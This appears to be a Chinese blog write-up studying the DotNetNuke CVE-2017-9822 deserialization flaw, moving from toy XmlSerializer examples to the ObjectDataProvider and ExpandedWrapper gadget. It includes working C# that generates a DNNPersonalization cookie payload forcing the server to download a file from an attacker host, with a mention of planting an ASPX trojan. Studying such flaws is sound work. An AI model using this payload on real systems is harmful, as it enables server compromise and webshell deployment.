DotNetNuke Deserialization RCE CVE–2017–9822

学习 .NET 反序列化

前言

DNN是一个世界领先的开源门户和内容管理框架,被世界范围内数千个组织使用。通常门户为组织内的多个应用程序提供一个统一的web前台。例如,展现来自人力资源、财务、营销及客户服务的信息。连接起来的后台系统也为企业提供了信息组合及协同处理的机会。

2017年7月5日,DNN安全板块发布了一个编号 CVE-2017-9822 的严重漏洞,随后漏洞报告者 Alvaro Muñoz 和 Oleksandr Mirosh 在 Blackhat USA 2017 上披露了其中的一些细节。详情

本文记录学习过程

.NET 反序列化

来看一下这个例子

using System;
using System.Xml.Serialization;
using System.IO;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            Person person = new Person();
            person.name = "bingan";
            Serialize(person);
        }

        static void Serialize(Person person)
        {
            var ser = new XmlSerializer(typeof(Person));
            TextWriter textWriter = new StreamWriter("C:\\out.ser");
            ser.Serialize(textWriter, person);
            textWriter.Close();
        }
    }

    public class Person
    {
        private String _name;
        public String name
        {
            get { return _name; }
            set
            {
                this._name = value;
                Console.WriteLine("the person named: " + this._name);
            }
        }
    }
}

Program中的Serialize方法可以将传入的对象进行xml序列化然后输出到C:\out.ser中,运行测试一下:

可以看到成功生成了序列化XML数据,接着来看看反序列化操作:

using System;
using System.Xml.Serialization;
using System.IO;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            DeSerialize();
            // 为了调试方便,可以使用
            Console.ReadKey();
        }

        static void Serialize(Person person)
        {
            var ser = new XmlSerializer(typeof(Person));
            TextWriter textWriter = new StreamWriter("C:\\out.ser");
            ser.Serialize(textWriter, person);
            textWriter.Close();
        }

        static void DeSerialize()
        {
            var input = new FileStream("C:\\out.ser", FileMode.Open, FileAccess.Read);
            var reader = new StreamReader(input);
            var ser = new XmlSerializer(typeof(Person));
            ser.Deserialize(reader);
        }
    }

    public class Person
    {
        private String _name;
        public String name
        {
            get { return _name; }
            set
            {
                _name = value;
                Console.WriteLine("the person named: " + _name);
            }
        }
    }
}

读取刚刚生成的序列化文件,然后通过XmlSerializer反序列化生成对象

image-20221021183215369

在上个例子中,我们限定了反序列化的对象类型Person,但是在生产环境中,可能会存在需要反序列化其他对象的场景。当我们能够控制序列化的对象时,可能就会存在反序列化漏洞。

假如存在如下例子:

using System;
using System.Xml.Serialization;
using System.IO;
using System.Xml;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            String txt = "bingan";
            int myClass = 1;

            if (myClass == 1)
            {
                Class1 c1 = new Class1();
                c1.text = txt;
                CustomSerializer(c1);
            }
            else
            {
                Class2 c2 = new Class2();
                c2.text = txt;
                CustomSerializer(c2);
            }
        }

        static void CustomSerializer(Object Obj)
        {
            XmlDocument xml1 = new XmlDocument();
            XmlElement xmlElement1 = xml1.CreateElement("root");
            xml1.AppendChild(xmlElement1);
            XmlElement xmlElement2 = xml1.CreateElement("item");
            xmlElement2.SetAttribute("objectType", Obj.GetType().AssemblyQualifiedName);
            XmlDocument xml2 = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(Obj.GetType());
            StringWriter writer = new StringWriter();
            xmlSerializer.Serialize(writer, Obj);
            xml2.LoadXml(writer.ToString());
            xmlElement2.AppendChild(xml1.ImportNode(xml2.DocumentElement, true));
            xmlElement1.AppendChild(xmlElement2);
            File.WriteAllText("C:\\out.ser", xml1.OuterXml);
        }
    }

    public class Class1
    {
        private String _text;

        public String text
        {
            get { return _text; }
            set { _text = value; Console.WriteLine("Class1 says: " + _text); }
        }
    }

    public class Class2
    {
        private String _text;

        public String text
        {
            get { return _text; }
            set { _text = value; Console.WriteLine("Class2 says: " + _text); }
        }
    }

}

输出结果为:

同时使用如下代码加载这个XML文件

using System;
using System.Xml.Serialization;
using System.IO;
using System.Xml;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            String xmlString = File.ReadAllText("C:\\out.ser");
            CustomDeSerializer(xmlString);
            Console.ReadKey();
        }

        static void CustomDeSerializer(String xmlString)
        {
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.LoadXml(xmlString);
            foreach (XmlElement xmlItem in xmlDocument.SelectNodes("root/item"))
            {
                string typeName = xmlItem.GetAttribute("objectType");
                var xser = new XmlSerializer(Type.GetType(typeName));
                var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
                xser.Deserialize(reader);
            }
        }
    }

    public class Class1
    {
        private String _text;

        public String text
        {
            get { return _text; }
            set { _text = value; Console.WriteLine("Class1 says: " + _text); }
        }
    }

    public class Class2
    {
        private String _text;

        public String text
        {
            get { return _text; }
            set { _text = value; Console.WriteLine("Class2 says: " + _text); }
        }
    }

}

可以看到成功输出了Class1 says: bingan

这时候修改ser.out文件,将其中所有的Class1改为Class2

<root><item objectType="ConsoleApp1.Class2, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"><Class2 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><text>bingan</text></Class2></item></root>

保存再运行一遍:

可以看到成功改变了执行类。

DotNetNuke 反序列化

在介绍DotNetNuke之前,需要下载一个分析.NET常用的工具:dnSpy

dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don't have any source code available. Main features:

  • Debug .NET and Unity assemblies
  • Edit .NET and Unity assemblies
  • Light and dark themes

漏洞点

DotNetNuke -> DotNetNuke.Services.Personalization -> LoadProfile : 29

此处调用了Globals.DeserializeHashTableXml,里面的参数是可控的,当用户未登录时,DotNetNuke将会从HttpContext获取请求中的Cookies字段,也就是请求头中的Cookie,跟进DeserializeHashTableXml

调用了XmlUtils.DeSerializeHashtable,注意此处的profile为硬编码字段,继续跟进:

上一步骤中,设置了rootname"profile"也就是说,进行反序列化操作的时候读取的路径是profile/item。另外,在160行中,程序获取xml中的type字段,通过XmlSerializer指定该字段名为目标调用对象。最终送入xmlSerializer.Deserialize进行反序列化。

在这里思路是不是已经非常清晰了,只要能够构造一个xml文件,它的profile/item节点中,存在type字段,同时该字段为一个危险对象。存在吗?存在。

DotNetNuke.Common.Utilities.FileSystemUtils中提供了文件下载功能

假如我们能够控制URL字段和FilePath字段,我们就能控制目标服务器进行任意文件下载,例如下载ASPX木马。但是很可惜,这个URLFilePath并没有gettersetter方法。

ObjectDataProvider

那么要怎么利用他呢?微软提供了一个对象 ObjectDataProvider

我们来分析一下这个对象:PresentationFramework.dll,他在.NET/FrameWork安装目录下的WPF目录中

当设置MethodName的时候会调用Refresh方法,跟进

接着跟进BeginQuery方法

然后就完了。。?不对吧,文档上面说的是可以调用方法,实际上,这个方法是被重写了

我们来看看ObjectDataProvider对象怎么重写的方法

跟进QueryWorker方法

300行上InvokeMethodOnInstance完成了最终的函数调用,其中的methodParameters为参数数组,MethodName为想要调用的方法名称

太艰辛了,测试一下吧

using DotNetNuke.Common.Utilities;
using System.Windows.Data;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider objectDataProvider = new ObjectDataProvider();
            objectDataProvider.ObjectInstance = new FileSystemUtils();
            objectDataProvider.MethodName = "PullFile";
            objectDataProvider.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
            objectDataProvider.MethodParameters.Add("C:/test.txt");
        }
    }
}

本地成功收到请求:

好了,回到 DotNetNuke 中,我们已经能够构造对象,并且这个对象的参数可以由我们来控制,在执行set方法时,会同时执行我们控制的方法 PullFile。看上去非常完美,最后只需要将他转为 XML 数据,在请求的 header 中添加 Cookie: DNNPersonalization XML 数据即可,对吧?试一下

using DotNetNuke.Common.Utilities;
using System.Windows.Data;
using System.Xml.Serialization;
using System;
using System.Collections;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            ObjectDataProvider objectDataProvider = new ObjectDataProvider();
            objectDataProvider.ObjectInstance = new FileSystemUtils();
            objectDataProvider.MethodName = "PullFile";
            objectDataProvider.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
            objectDataProvider.MethodParameters.Add("C:/test.txt");

            Hashtable table = new Hashtable();
            table["Table"] = objectDataProvider;
            String payload = XmlUtils.SerializeDictionary(table, "profile");
            Console.WriteLine(payload);
            Console.ReadKey();
        }
    }
}

运行,结果报错了

The type DotNetNuke.Common.Utilities.FileSystemUtils was not expected

这是由于我们传递的是一个 ObjectDataProvider,而 XmlSerializer 使用的 GetType 无法获取到FileSystemUtils 的对象类型,头疼咯。还记得开头提到的 Alvaro Muñoz 和 Oleksandr Mirosh 吗,他们提出了解决方法:使用 ExpandedWrapper 来完成恶意代码的构造,

This class is used internally by the system to implement support for queries with eager loading of related entities.

他可以提前加载相关实体的查询,我们用上它,改写一下当前的代码:

using DotNetNuke.Common.Utilities;
using System.Windows.Data;
using System;
using System.Data.Services.Internal;
using System.Collections;

namespace ConsoleApp1
{
    class Program
    {
        static void Main(string[] args)
        {
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:/test.txt");
           

            Hashtable table = new Hashtable();
            table["Table"] = expandedWrapper;
            String payload = XmlUtils.SerializeDictionary(table, "profile");
            Console.WriteLine(payload);
            Console.ReadKey();
        }
    }
}

成功得到输出:

最后,测试一下能否成功下载文件,在 BurpSuite 中将刚刚生成的 Payload 加在 Cookie 后面,发送

成功触发下载